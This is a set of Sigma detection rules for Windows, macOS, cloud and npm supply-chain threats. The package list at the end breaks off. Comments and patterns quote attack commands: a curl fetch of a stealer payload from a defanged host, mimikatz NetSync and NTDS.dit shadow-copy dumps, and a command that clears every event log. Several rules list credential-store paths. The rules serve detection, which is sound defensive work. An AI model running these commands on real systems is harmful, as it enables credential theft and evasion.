Sigma rules: 3j

title: Active Directory Computers Enumeration With Get-AdComputer
id: 36bed6b2-e9a0-4fff-beeb-413a92b86138
status: test
description: Detects usage of the "Get-AdComputer" to enumerate Computers or properties within Active Directory.
references:
    - https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adcomputer
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md
    - https://github.com/redcanaryco/atomic-red-team/blob/02cb591f75064ffe1e0df9ac3ed5972a2e491c97/atomics/T1087.002/T1087.002.md
author: frack113
date: 2022-03-17
modified: 2023-07-08
tags:
    - attack.discovery
    - attack.t1018
    - attack.t1087.002
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    selection_cmdlet:
        ScriptBlockText|contains: 'Get-AdComputer '
    selection_option:
        ScriptBlockText|contains:
            - '-Filter '
            - '-LDAPFilter '
            - '-Properties '
    condition: all of selection_*
falsepositives:
    - Unknown
level: low

title: ADCS - Certighost Ghost Machine Account Creation
id: fa0bac5f-d170-4a91-9780-1ad71dc1f49e
status: experimental
description: |
    Detects the creation of a machine account whose name starts with 'GHOST', which is the
    naming convention used by the CVE-2026-54121 (Certighost) exploit tooling.

    The public proof-of-concept for Certighost creates a temporary machine account with a
    name of the form GHOST<random>$ before enrolling for a DC certificate via the cdc chase
    path. The attacker-controlled machine account is used as the requester identity in the
    certificate request; the cdc attribute then redirects the CA to a rogue host that returns
    a forged Domain Controller identity. The resulting certificate carries the DC's SID and
    DNS name, enabling full PKINIT authentication as the targeted DC followed by DCSync.

    A machine account creation event (4741) where TargetUserName starts with 'GHOST' and
    ends with '$' is a high-fidelity indicator of this attack tool's execution. Legitimate
    environments very rarely provision machine accounts with this prefix.
references:
    - https://github.com/aniqfakhrul/CVE-2026-54121
    - https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2026-07-30
tags:
    - attack.privilege-escalation
    - attack.credential-access
    - attack.persistence
    - attack.t1136.002
    - attack.t1649
    - cve.2026-54121
    - detection.emerging-threats
logsource:
    product: windows
    service: security
    definition: |
        Requirements:
            Audit Policy : Account Management > Audit Computer Account Management
detection:
    selection:
        EventID: 4741
        TargetUserName|startswith: 'GHOST'
        TargetUserName|endswith: '$'
    condition: selection
falsepositives:
    - Unlikely
level: high

title: Arbitrary File Download Via MSPUB.EXE
id: 3b3c7f55-f771-4dd6-8a6e-08d057a17caf
status: test
description: Detects usage of "MSPUB" (Microsoft Publisher) to download arbitrary files
references:
    - https://github.com/LOLBAS-Project/LOLBAS/pull/238/files
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-08-19
modified: 2023-02-08
tags:
    - attack.execution
    - attack.stealth
    - attack.t1218
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\MSPUB.exe'
        - OriginalFileName: 'MSPUB.exe'
    selection_cli:
        CommandLine|contains:
            - 'ftp://'
            - 'http://'
            - 'https://'
    condition: all of selection_*
falsepositives:
    - Unknown
level: medium

title: Atomic MacOS Stealer - Persistence Indicators
id: e710a880-1f18-4417-b6a0-b5afdf7e3023
status: experimental
description: |
    Detects creation of persistence artifacts placed by Atomic MacOS Stealer in macOS systems. Recent Atomic MacOS Stealer variants have been observed dropping these to maintain persistent access after compromise.
references:
    - https://moonlock.com/amos-backdoor-persistent-access
    - https://github.com/bobby-tablez/TTP-Threat-Feeds/blob/45398914e631f8372c3a9fbcd339ff65ffff1b17/results/2025/10/20251001-161956-trendmicro-atomic-macos-stealer-(amos).yml#L44
author: Jason Phang Vern - Onn, Robbin Ooi Zhen Heng (Gen Digital)
date: 2025-11-22
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.stealth
    - attack.t1564.001
    - attack.t1543.004
    - detection.emerging-threats
logsource:
    category: file_event
    product: macos
detection:
    selection_user_helper:
        # sh -c curl -o '/Users/<username>/.helper' hxxps://halesmp[.]com/zxc/app
        Image|endswith: '/curl'
        TargetFilename|startswith: '/Users/'
        TargetFilename|endswith: '.helper'
    selection_launchdaemon:
        TargetFilename: '/Library/LaunchDaemons/com.finder.helper.plist'
    condition: 1 of selection_*
falsepositives:
    - Unknown
level: high

title: AWS ElastiCache Security Group Created
id: 4ae68615-866f-4304-b24b-ba048dfa5ca7
status: test
description: Detects when an ElastiCache security group has been created.
references:
    - https://github.com/elastic/detection-rules/blob/598f3d7e0a63221c0703ad9a0ea7e22e7bc5961e/rules/integrations/aws/persistence_elasticache_security_group_creation.toml
author: Austin Songer @austinsonger
date: 2021-07-24
modified: 2022-10-09
tags:
    - attack.persistence
    - attack.t1136
    - attack.t1136.003
logsource:
    product: aws
    service: cloudtrail
detection:
    selection:
        eventSource: elasticache.amazonaws.com
        eventName: 'CreateCacheSecurityGroup'
    condition: selection
falsepositives:
    - A ElastiCache security group may be created by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security group creations from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule.


level: low

title: AWS IAM S3Browser User or AccessKey Creation
id: db014773-d9d9-4792-91e5-133337c0ffee
status: test
description: Detects S3 Browser utility creating IAM User or AccessKey.
references:
    - https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor
author: daniel.bohannon@permiso.io (@danielhbohannon)
date: 2023-05-17
tags:
    - attack.privilege-escalation
    - attack.execution
    - attack.persistence
    - attack.initial-access
    - attack.stealth
    - attack.t1059.009
    - attack.t1078.004
logsource:
    product: aws
    service: cloudtrail
detection:
    selection:
        eventSource: 'iam.amazonaws.com'
        eventName:
            - 'CreateUser'
            - 'CreateAccessKey'
        userAgent|contains: 'S3 Browser'
    condition: selection
falsepositives:
    - Valid usage of S3 Browser for IAM User and/or AccessKey creation
level: high

title: Credentials (protected by DPAPI) dump via network share
description: Detects scenarios where an attacker attempt to dump DPAPI credentials (Windows Vault, Chrome, RDP, WiFi, Emails, ...) or registry hives via network share via tools like DonPAPI.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/EVTX_full_APT_attack_steps
- https://github.com/login-securite/DonPAPI
- https://hackinparis.com/data/slides/2019/talks/HIP2019-Paula_Januszkiewicz-Dpapi_And_Dpapi_Ng_Decrypting_All_Users_Secrets_And_Pfx_Passwords.pdf
- https://www.thehacker.recipes/ad/movement/credentials/dumping/dpapi-protected-secrets
- https://hunter2.gitbook.io/darthsidious/privilege-escalation/mimikatz
- https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/dpapi-extracting-passwords
tags:
- attack.credential_access
- attack.t1555.004
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5145
    ShareName: '\\*\C$'
    RelativeTargetName|contains:
    # WIFI
    - '\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\'
    # Registry hives (security, system, sofware)
    - '\Windows\System32\config\SECURITY'
    - '\Windows\System32\config\SOFTWARE'
    - '\Windows\System32\config\SYSTEM'
    # Vault
    - '\AppData\Local\Microsoft\Vault\'
    - '\ProgramData\Microsoft\Vault\'
    - '\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Vault\'
    # Credentials
    - '\AppData\Local\Microsoft\Credentials\'
    - '\AppData\Roaming\Microsoft\Credentials\'
    - '\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\'
    # DPAPI keys
    - '\AppData\Roaming\Microsoft\Protect\'
    - '\Windows\System32\Microsoft\Protect\'
  condition: selection
falsepositives:
- None
level: high

title: Default Cobalt Strike Certificate
id: 7100f7e3-92ce-4584-b7b7-01b40d3d4118
status: test
description: Detects the presence of default Cobalt Strike certificate in the HTTPS traffic
references:
    - https://sergiusechel.medium.com/improving-the-network-based-detection-of-cobalt-strike-c2-servers-in-the-wild-while-reducing-the-6964205f6468
author: Bhabesh Raj
date: 2021-06-23
modified: 2022-10-09
tags:
    - attack.command-and-control
    - attack.s0154
logsource:
    product: zeek
    service: x509
detection:
    selection:
        certificate.serial: 8BB00EE
    condition: selection
falsepositives:
    - Unknown
level: high

title: Event log cleared using Diagnostics (via PowerShell)
description: Detects scenarios where an attacker attempts to clear the event logs.
references:
- hhttps://www.linkedin.com/feed/update/urn:li:activity:7143833994139283456/
- https://dscottraynsford.wordpress.com/2015/04/09/clear-all-windows-event-logs/
tags:
- attack.defense_evasion
- attack.t1070.001
author: mdecrevoisier
status: stable
logsource:
  product: windows
  category:
    - ps_module
    - ps_classic_script
    - ps_script
detection: # full command: "get-winevent -ListLog * | % { [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog($_.LogName) }"
  selection_powershell_native:
    EventID: 800
    EventData|contains|all:
      - System.Diagnostics.Eventing.Reader.EventLogSession
      - ClearLog

  selection_powershell_modern:
    EventID: 4103
    Payload|contains|all:
      - System.Diagnostics.Eventing.Reader.EventLogSession
      - ClearLog

  selection_powershell_block:
    EventID: 4104
    ScriptBlockText|contains|all:
      - System.Diagnostics.Eventing.Reader.EventLogSession
      - ClearLog

  condition: selection_powershell_native or selection_powershell_modern or selection_powershell_block
falsepositives:
- None
level: high

title: Execute Files with Msdeploy.exe
id: 646bc99f-6682-4b47-a73a-17b1b64c9d34
status: test
description: Detects file execution using the msdeploy.exe lolbin
references:
    - https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msdeploy/
    - https://twitter.com/pabraeken/status/995837734379032576
    - https://twitter.com/pabraeken/status/999090532839313408
author: Beyu Denis, oscd.community
date: 2020-10-18
modified: 2021-11-27
tags:
    - attack.stealth
    - attack.t1218
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains|all:
            - 'verb:sync'
            - '-source:RunCommand'
            - '-dest:runCommand'
        Image|endswith: '\msdeploy.exe'
    condition: selection
falsepositives:
    - System administrator Usage
level: medium

title: Granting Of Permissions To An Account
id: a622fcd2-4b5a-436a-b8a2-a4171161833c
status: test
description: Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.
references:
    - https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Granting_Permissions_To_Account_detection.yaml
author: sawwinnnaung
date: 2020-05-07
modified: 2023-10-11
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1098.003
logsource:
    product: azure
    service: activitylogs
detection:
    keywords:
        - Microsoft.Authorization/roleAssignments/write
    condition: keywords
falsepositives:
    - Valid change
level: medium

title: Invoke-Obfuscation Via Stdin - System
id: 487c7524-f892-4054-b263-8a0ace63fc25
status: test
description: Detects Obfuscated Powershell via Stdin in Scripts
references:
    - https://github.com/SigmaHQ/sigma/issues/1009 # (Task28)
author: Nikita Nazarov, oscd.community
date: 2020-10-12
modified: 2022-11-29
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: system
detection:
    selection:
        Provider_Name: 'Service Control Manager'
        EventID: 7045
        # ImagePath|re: '(?i)(set).*&&\s?set.*(environment|invoke|\${?input).*&&.*"'
        ImagePath|contains|all:
            - 'set'
            - '&&'
        ImagePath|contains:
            - 'environment'
            - 'invoke'
            - 'input'
    condition: selection
falsepositives:
    - Unknown
level: high

title: Kavremover Dropped Binary LOLBIN Usage
id: d047726b-c71c-4048-a99b-2e2f50dc107d
status: test
description: Detects the execution of a signed binary dropped by Kaspersky Lab Products Remover (kavremover) which can be abused as a LOLBIN to execute arbitrary commands and binaries.
references:
    - https://nasbench.medium.com/lolbined-using-kaspersky-endpoint-security-kes-installer-to-execute-arbitrary-commands-1c999f1b7fea
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-11-01
tags:
    - attack.execution
    - attack.stealth
    - attack.t1127
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        CommandLine|contains: ' run run-cmd '
    filter_main_legit_parents:
        ParentImage|endswith:
            - '\cleanapi.exe' # When launched from KES installer
            - '\kavremover.exe' # When launched from kavremover.exe
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unknown
level: high

title: macOS Screen Sharing Session
id: 1684f3e3-d701-477f-be1b-7169dba38f91
status: experimental
description: 'Detects screen sharing session attachment and detachment events. Screen
  sharing

  can be used for legitimate remote administration or by attackers for initial

  access and lateral movement. Monitor for unexpected or unauthorized sessions.

  '
author: Eric Brown - Nebulock, Inc.
date: 2025/10/31
modified: 2025/10/31
references:
- https://attack.mitre.org/techniques/T1021/005/
- https://attack.mitre.org/techniques/T1563/
logsource:
  product: macos
  service: endpointsecurity
detection:
  selection_attach:
    esf.event_type: 135
    event.action: screensharing_attach
  selection_detach:
    esf.event_type: 136
    event.action: screensharing_detach
  condition: selection_attach or selection_detach
falsepositives:
- Legitimate IT support and remote administration
- User-initiated screen sharing for collaboration
- Automated management tools
fields:
- event_type
- event_name
- User
- source_ip
- session_id
tags:
- attack.initial_access
- attack.t1021.005
- attack.lateral_movement
- attack.t1563
level: medium

title: NetSYnc attack
description: NetSync allows an attacker to take the NTLM hash of a Domain Controller (DC) machine account ("usually" identified by ending in "$") and using it to obtain the NTLM machine account hash of another machine account through impersonation (similar to, but different from, DCSync). Where DCSync can obtain user account passwords, NetSync is limited to machine accounts. The other main differentiator between DCSync and NetSync is that DCSync will make use of Microsoft's Directory Replication Service (DRS) Remote Protocol, whereas NetSync uses the older Netlogon Remote Protocol (MS-NRPC)
correlation: ID 5145 SubjectLogonId 0x1f4a6c852 AND ID 4624 TargetLogonId 0x1f4a6c852
references:
- https://github.com/Neo23x0/sigma/blob/c56cd2dfff6343f3694ef4fd606a305415599737/rules-unsupported/win_dumping_ntdsdit_via_netsync.yml
- https://fr.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
- https://www.trustedsec.com/blog/the-tale-of-the-lost-but-not-forgotten-undocumented-netsync-part-1/
- https://www.trustedsec.com/blog/the-tale-of-the-lost-but-not-forgotten-undocumented-netsync-part-2/
tags:
- attack.credential_access
- attack.t1003.006
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  service: security
detection: #  lsadump::netsync /dc:<dc_fqdn> /user:dc1$ /ntlm:<ntlmhash> /account:srv02$

  selection_login:
    EventID: 4624
    Computer: '%domain_controllers%'
    TargetUserSid: S-1-5-21-
    LogonType: 3
    AuthenticationPackageName: Kerberos

  selection_share:
    EventID: 5145
    Computer: '%domain_controllers%'
    ShareName: \\*\IPC$
    RelativeTargetName: NETLOGON

  filter:
    - SubjectUserName|endswith: $
    - SubjectUserSid: S-1-5-7 #  ANONYMOUS LOGON
    - IpAddress:
      - '%domain_controllers%'
      - '%exchange_servers%'

  condition: selection_login and selection_share and not filter
falsepositives:
- Exchange servers
level: high

title: Potential Discovery Activity Via Dnscmd.EXE
id: b6457d63-d2a2-4e29-859d-4e7affc153d1
status: test
description: Detects an attempt to leverage dnscmd.exe to enumerate the DNS zones of a domain. DNS zones used to host the DNS records for a particular domain.
references:
    - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd
    - https://learn.microsoft.com/en-us/azure/dns/dns-zones-records
    - https://lolbas-project.github.io/lolbas/Binaries/Dnscmd/
author: '@gott_cyber'
date: 2022-07-31
modified: 2023-02-04
tags:
    - attack.discovery
    - attack.execution
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        Image|endswith: '\dnscmd.exe'
    selection_cli:
        CommandLine|contains:
            - '/enumrecords'
            - '/enumzones'
            - '/ZonePrint'
            - '/info'
    condition: all of selection_*
falsepositives:
    - Legitimate administration use
level: medium

title: Potential Persistence Attempt Via Existing Service Tampering
id: 38879043-7e1e-47a9-8d46-6bec88e201df
status: test
description: Detects the modification of an existing service in order to execute an arbitrary payload when the service is started or killed as a potential method for persistence.
references:
    - https://pentestlab.blog/2020/01/22/persistence-modify-existing-service/
author: Sreeman
date: 2020-09-29
modified: 2023-02-04
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.execution
    - attack.stealth
    - attack.t1543.003
    - attack.t1574.011
logsource:
    category: process_creation
    product: windows
detection:
    selection_sc:
        - CommandLine|contains|all:
              - 'sc '
              - 'config '
              - 'binpath='
        - CommandLine|contains|all:
              - 'sc '
              - 'failure'
              - 'command='
    selection_reg_img:
        - CommandLine|contains|all:
              - 'reg '
              - 'add '
              - 'FailureCommand'
        - CommandLine|contains|all:
              - 'reg '
              - 'add '
              - 'ImagePath'
    selection_reg_ext:
        CommandLine|contains:
            - '.sh'
            - '.exe'
            - '.dll'
            - '.bin$'
            - '.bat'
            - '.cmd'
            - '.js'
            - '.msh$'
            - '.reg$'
            - '.scr'
            - '.ps'
            - '.vb'
            - '.jar'
            - '.pl'
    condition: selection_sc or all of selection_reg_*
falsepositives:
    - Unknown
level: medium

title: Potentially Suspicious Rundll32.EXE Execution of UDL File
id: 0ea52357-cd59-4340-9981-c46c7e900428
status: test
description: |
    Detects the execution of rundll32.exe with the oledb32.dll library to open a UDL file.
    Threat actors can abuse this technique as a phishing vector to capture authentication credentials or other sensitive data.
references:
    - https://trustedsec.com/blog/oops-i-udld-it-again
author: '@kostastsale'
date: 2024-08-16
tags:
    - attack.execution
    - attack.command-and-control
    - attack.stealth
    - attack.t1218.011
    - attack.t1071
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith: '\explorer.exe'
    selection_img:
        - Image|endswith: '\rundll32.exe'
        - OriginalFileName: 'RUNDLL32.EXE'
    selection_cli:
        CommandLine|contains|all:
            - 'oledb32.dll'
            - ',OpenDSLFile '
            - '\\Users\\*\\Downloads\\' # Note: You can adjust the path to the download directory or other directories according to your environment.
        CommandLine|endswith: '.udl'
    condition: all of selection_*
falsepositives:
    - UDL files serve as a convenient and flexible tool for managing and testing database connections in various development and administrative scenarios.
level: medium

title: PowerShell Core DLL Loaded By Non PowerShell Process
id: 092bc4b9-3d1d-43b4-a6b4-8c8acd83522f
related:
    - id: 867613fb-fa60-4497-a017-a82df74a172c
      type: obsolete
    - id: fe6e002f-f244-4278-9263-20e4b593827f
      type: obsolete
status: test
description: |
    Detects loading of essential DLLs used by PowerShell by non-PowerShell process.
    Detects behavior similar to meterpreter's "load powershell" extension.
references:
    - https://adsecurity.org/?p=2921
    - https://github.com/p3nt4/PowerShdll
author: Tom Kern, oscd.community, Natalia Shornikova, Tim Shelton, Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)
date: 2019-11-14
modified: 2026-07-28
tags:
    - attack.t1059.001
    - attack.execution
logsource:
    category: image_load
    product: windows
detection:
    selection:
        - Description: 'System.Management.Automation'
        - OriginalFileName: 'System.Management.Automation.dll'
        - ImageLoaded|endswith:
              - '\System.Management.Automation.dll'
              - '\System.Management.Automation.ni.dll'
    filter_main_powershell:
        Image:
            - 'C:\Program Files\PowerShell\7-preview\pwsh.exe' # PowerShell 7 preview
            - 'C:\Program Files\PowerShell\7\pwsh.exe' # PowerShell 7
            - 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe'
            - 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
            - 'C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe'
            - 'C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe'
    filter_main_pwsh_preview:
        Image|contains:
            - 'C:\Program Files\WindowsApps\Microsoft.PowerShellPreview'
            - '\AppData\Local\Microsoft\WindowsApps\Microsoft.PowerShellPreview'
        Image|endswith: '\pwsh.exe'
    filter_main_generic:
        Image:
            - 'C:\Windows\System32\dsac.exe'
            - 'C:\WINDOWS\System32\RemoteFXvGPUDisablement.exe'
            - 'C:\Windows\System32\runscripthelper.exe'
            - 'C:\WINDOWS\System32\sdiagnhost.exe'
            - 'C:\Windows\System32\ServerManager.exe'
            - 'C:\Windows\System32\SyncAppvPublishingServer.exe'
            - 'C:\Windows\System32\winrshost.exe'
            - 'C:\Windows\System32\wsmprovhost.exe'
            - 'C:\Windows\SysWOW64\winrshost.exe'
            - 'C:\Windows\SysWOW64\wsmprovhost.exe'
    filter_main_dotnet:
        Image|startswith:
            - 'C:\Windows\Microsoft.NET\Framework\'
            - 'C:\Windows\Microsoft.NET\FrameworkArm\'
            - 'C:\Windows\Microsoft.NET\FrameworkArm64\'
            - 'C:\Windows\Microsoft.NET\Framework64\'
        Image|endswith: '\mscorsvw.exe'
    filter_optional_gethelp:
        Image|startswith: 'C:\Program Files\WindowsApps\Microsoft.GetHelp_'
        Image|endswith: '\GetHelp.exe'
    filter_optional_sql_server_mgmt:
        Image|startswith:
            - 'C:\Program Files (x86)\Microsoft SQL Server Management Studio'
            - 'C:\Program Files\Microsoft SQL Server Management Studio'
        Image|endswith: '\IDE\Ssms.exe'
    filter_optional_sql_server_tools:
        Image|startswith:
            - 'C:\Program Files (x86)\Microsoft SQL Server\'
            - 'C:\Program Files\Microsoft SQL Server\'
        Image|endswith: '\Tools\Binn\SQLPS.exe'
    filter_optional_citrix:
        Image|endswith: '\Citrix\ConfigSync\ConfigSyncRun.exe'
    filter_optional_vs:
        Image|startswith:
            - 'C:\Program Files (x86)\Microsoft Visual Studio\'
            - 'C:\Program Files\Microsoft Visual Studio\'
    filter_optional_chocolatey:
        Image|startswith: 'C:\ProgramData\chocolatey\choco.exe'
    filter_optional_nextron:
        Image|startswith: 'C:\Windows\Temp\asgard2-agent\'
        Image|endswith:
            - '\thor64.exe'
            - '\thor.exe'
        # User: 'NT AUTHORITY\SYSTEM'   # if set, matches all powershell processes not launched by SYSTEM
    filter_optional_aurora:
        # This filter is to avoid a race condition FP with this specific ETW provider in aurora
        Image: null
    condition: selection and not 1 of filter_main_* and not 1 of filter_optional_*
falsepositives:
    - Used by some .NET binaries, minimal on user workstation.
    - Used by Microsoft SQL Server Management Studio
level: medium

title: PsExec Service Child Process Execution as LOCAL SYSTEM
id: 7c0dcd3d-acf8-4f71-9570-f448b0034f94
related:
    - id: fa91cc36-24c9-41ce-b3c8-3bbc3f2f67ba
      type: similar
status: test
description: Detects suspicious launch of the PSEXESVC service on this system and a sub process run as LOCAL_SYSTEM (-s), which means that someone remotely started a command on this system running it with highest privileges and not only the privileges of the login user account (e.g. the administrator account)
references:
    - https://learn.microsoft.com/en-us/sysinternals/downloads/psexec
author: Florian Roth (Nextron Systems)
date: 2022-07-21
modified: 2023-02-28
tags:
    - attack.execution
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage: 'C:\Windows\PSEXESVC.exe'
        User|contains: # covers many language settings
            - 'AUTHORI'
            - 'AUTORI'
    condition: selection
falsepositives:
    - Users that debug Microsoft Intune issues using the commands mentioned in the official documentation; see https://learn.microsoft.com/en-us/mem/intune/apps/intune-management-extension
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_sysinternals_psexesvc_as_system/info.yml

title: Security Privileges Enumeration Via Whoami.EXE
id: 97a80ec7-0e2f-4d05-9ef4-65760e634f6b
status: test
description: Detects a whoami.exe executed with the /priv command line flag instructing the tool to show all current user privileges. This is often used after a privilege escalation attempt.
references:
    - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/whoami
author: Florian Roth (Nextron Systems)
date: 2021-05-05
modified: 2023-02-28
tags:
    - attack.privilege-escalation
    - attack.discovery
    - attack.t1033
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\whoami.exe'
        - OriginalFileName: 'whoami.exe'
    selection_cli:
        CommandLine|contains:
            - ' /priv'
            - ' -priv'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_whoami_priv_discovery/info.yml

title: Sensitive File Access Via Volume Shadow Copy Backup
id: f57f8d16-1f39-4dcb-a604-6c73d9b54b3d
status: test
description: |
    Detects a command that accesses the VolumeShadowCopy in order to extract sensitive files such as the Security or SAM registry hives or the AD database (ntds.dit)
references:
    - https://twitter.com/vxunderground/status/1423336151860002816?s=20
    - https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection
    - https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/
author: Max Altgelt (Nextron Systems), Tobias Michalski (Nextron Systems)
date: 2021-08-09
modified: 2024-01-18
tags:
    - attack.impact
    - attack.t1490
logsource:
    category: process_creation
    product: windows
detection:
    selection_1:
        # copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1
        # There is an additional "\" to escape the special "?"
        CommandLine|contains: '\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy'
    selection_2:
        CommandLine|contains:
            - '\\NTDS.dit'
            - '\\SYSTEM'
            - '\\SECURITY'
    condition: all of selection_*
falsepositives:
    - Unlikely
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_susp_sensitive_file_access_shadowcopy/info.yml

title: Shai-Hulud 2.0 Malicious NPM Package Installation - Linux
id: 514f533b-f56e-421d-80b0-f7706a3e9d23
related:
    - id: bae7c70b-8569-44e9-accf-b30073da8a5d
      type: similar
status: experimental
description: |
    Detects the command-line installation of specific malicious npm packages and versions associated with the Shai-Hulud 2.0 supply chain attack.
references:
    - https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack
    - https://github.com/wiz-sec-public/wiz-research-iocs/blob/a836ce8aacf12d6d2f6afc3c44b391dc4c08f46e/reports/shai-hulud-2-packages.csv
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-11-28
tags:
    - attack.initial-access
    - attack.execution
    - attack.t1195.002
    - detection.emerging-threats
logsource:
    category: process_creation
    product: linux
detection:
    selection_img:
        Image|endswith: '\node'
        CommandLine|contains:
            - 'install'
            - ' i '
  # List of known malicious packages and versions from the Shai-Hulud 2.0 campaign
    selection_packages:
        CommandLine|contains:
            - '02-echo@0.0.7'
            - '@accordproject/concerto-analysis@3.24.1'
            - '@accordproject/concerto-linter@3.24.1'
            - '@accordproject/concerto-linter-default-ruleset@3.24.1'
            - '@accordproject/concerto-metamodel@3.12.5'
            - '@accordproject/concerto-types@3.24.1'
            - '@accordproject/markdown-it-cicero@0.16.26'
            - '@accordproject/template-engine@2.7.2'
            - '@actbase/css-to-react-native-transform@1.0.3'
            - '@actbase/native@0.1.32'
            - '@actbase/node-server@1.1.19'
            - '@actbase/react-absolute@0.8.3'
            - '@actbase/react-daum-postcode@1.0.5'
            - '@actbase/react-kakaosdk@0.9.27'
            - '@actbase/react-native-actionsheet@1.0.3'
            - '@actbase/react-native-devtools@0.1.3'
            - '@actbase/react-native-fast-image@8.5.13'
            - '@actbase/react-native-kakao-channel@1.0.2'
            - '@actbase/react-native-kakao-navi@2.0.4'
            - '@actbase/react-native-less-transformer@1.0.6'
            - '@actbase/react-native-naver-login@1.0.1'
            - '@actbase/react-native-simple-video@1.0.13'
            - '@actbase/react-native-tiktok@1.1.3'
            - '@afetcan/api@0.0.13'
            - '@afetcan/storage@0.0.27'
            - '@alaan/s2s-auth@2.0.3'
            - '@alexadark/amadeus-api@1.0.4'
            - '@alexadark/gatsby-theme-events@1.0.1'
            - '@alexadark/gatsby-theme-wordpress-blog@2.0.1'
            - '@alexadark/reusable-functions@1.5.1'
            - '@alexcolls/nuxt-socket.io@0.0.7'
            - '@alexcolls/nuxt-socket.io@0.0.8'
            - '@alexcolls/nuxt-ux@0.6.1'
            - '@alexcolls/nuxt-ux@0.6.2'
            - '@antstackio/eslint-config-antstack@0.0.3'
            - '@antstackio/express-graphql-proxy@0.2.8'
            - '@antstackio/graphql-body-parser@0.1.1'
            - '@antstackio/json-to-graphql@1.0.3'
            - '@antstackio/shelbysam@1.1.7'
            - '@aryanhussain/my-angular-lib@0.0.23'
            - '@asyncapi/avro-schema-parser@3.0.25'
            - '@asyncapi/avro-schema-parser@3.0.26'
            - '@asyncapi/bundler@0.6.5'
            - '@asyncapi/bundler@0.6.6'
            - '@asyncapi/cli@4.1.2'
            - '@asyncapi/cli@4.1.3'
            - '@asyncapi/converter@1.6.3'
            - '@asyncapi/converter@1.6.4'
            - '@asyncapi/diff@0.5.1'
            - '@asyncapi/diff@0.5.2'
            - '@asyncapi/dotnet-rabbitmq-template@1.0.1'
            - '@asyncapi/dotnet-rabbitmq-template@1.0.2'
            - '@asyncapi/edavisualiser@1.2.1'
            - '@asyncapi/edavisualiser@1.2.2'
            - '@asyncapi/generator-components@0.3.2'
            - '@asyncapi/generator-components@0.3.3'
            - '@asyncapi/generator-react-sdk@1.1.4'
            - '@asyncapi/generator-react-sdk@1.1.5'
            - '@asyncapi/generator@2.8.5'
            - '@asyncapi/generator@2.8.6'
            - '@asyncapi/go-watermill-template@0.2.76'
            - '@asyncapi/go-watermill-template@0.2.77'
            - '@asyncapi/html-template@3.3.2'
            - '@asyncapi/html-template@3.3.3'
            - '@asyncapi/java-spring-cloud-stream-template@0.13.5'
            - '@asyncapi/java-spring-cloud-stream-template@0.13.6'
            - '@asyncapi/java-spring-template@1.6.1'
            - '@asyncapi/java-spring-template@1.6.2'
            - '@asyncapi/java-template@0.3.5'
            - '@asyncapi/java-template@0.3.6'
            - '@asyncapi/keeper@0.0.2'
            - '@asyncapi/keeper@0.0.3'
            - '@asyncapi/markdown-template@1.6.8'
            - '@asyncapi/markdown-template@1.6.9'
            - '@asyncapi/modelina-cli@5.10.2'
            - '@asyncapi/modelina-cli@5.10.3'
            - '@asyncapi/modelina@5.10.2'
            - '@asyncapi/modelina@5.10.3'
            - '@asyncapi/multi-parser@2.2.1'
            - '@asyncapi/multi-parser@2.2.2'
            - '@asyncapi/nodejs-template@3.0.5'
            - '@asyncapi/nodejs-template@3.0.6'
